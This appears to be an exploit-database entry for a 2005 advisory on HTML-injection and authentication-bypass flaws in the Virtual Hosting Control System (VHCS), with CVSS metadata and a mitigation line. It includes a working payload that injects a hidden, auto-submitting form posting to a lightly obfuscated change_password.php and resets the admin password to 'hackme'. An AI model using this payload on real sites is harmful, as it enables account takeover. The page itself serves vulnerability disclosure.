header-logo
Suggest Exploit
vendor:
VHCS
by:
SecurityFocus
8.3
CVSS
HIGH
HTML-injection vulnerability and an authentication-bypass vulnerability
79, 287
CWE
Product Name: VHCS
Affected Version From: N/A
Affected Version To: N/A
Patch Exists: YES
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2005

Virtual Hosting Control System (VHCS) Multiple Vulnerabilities

VHCS is prone to an HTML-injection vulnerability and an authentication-bypass vulnerability. These issues could be exploited to gain administrative access to the application; other attacks are also possible.

Mitigation:

Ensure that all user-supplied input is properly validated and sanitized before being used in the application.
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/16600/info

Virtual Hosting Control System (VHCS) is prone to multiple input and access vulnerabilities.

VHCS is prone to an HTML-injection vulnerability and an authentication-bypass vulnerability. These issues could be exploited to gain administrative access to the application; other attacks are also possible.

</form><form name="dsr" method="post" action="ch%61nge_password.php"><input name="pass" value="hackme"><input name="pass_rep" value="hackme"><input name="uaction" value="updt_pass"></form><script>document.dsr.submit()</script>

Navigation

Suggest Exploit

Services By CQR